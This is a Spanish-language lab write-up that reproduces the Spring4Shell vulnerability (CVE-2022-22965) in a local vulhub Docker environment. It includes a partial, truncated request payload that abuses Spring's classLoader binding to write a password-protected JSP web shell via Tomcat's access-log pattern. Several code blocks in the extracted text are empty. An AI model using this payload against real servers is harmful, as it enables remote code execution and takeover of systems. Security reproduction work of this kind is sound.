0x01 Vulnerabilidad Introducción
Spring Framework es un marco de aplicaciones de código abierto. Su intención original es reducir la complejidad del desarrollo de aplicaciones. Tiene una arquitectura en capas, permite a los usuarios seleccionar componentes y también proporciona un marco útil para el desarrollo de aplicaciones J2EE. Cuando Spring se implementa en JDK9 y superior, los atacantes remotos pueden aprovechar esta vulnerabilidad para escribir código malicioso para provocar la ejecución remota de código.
0x02 Reaparición de vulnerabilidad
vulhub/spring/CVE-2022-22965 en maestro · vulhub/vulhub · GitHub
Use el comando en el directorio actual: docker-compose up -d
para abrir el entorno con un clic:
Ver que el puerto actual está abierto en 8080
:
Después de abrir la página, puede ver que el servicio actual está activo:
http://127.0.0.1:8080/
Siga el enlace del autor:
http://127.0.0.1:8080/?name=Bob&age=25
Aparece la página:
Luego, de acuerdo con el aviso, construya la dirección de solicitud: ( 方法不唯一
)
http://127.0.0.1:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25
Una vez realizada la solicitud, se requiere una transformación:
La parte roja se reemplaza con:
1 2 3 4 5 |
|
El efecto se muestra en la siguiente figura:
Entonces visita:
1 |
|
¡Solo ejecuta el comando!
Tenga en cuenta que las ejecuciones múltiples aquí escribirán continuamente archivos en el registro, ¡no opere con frecuencia!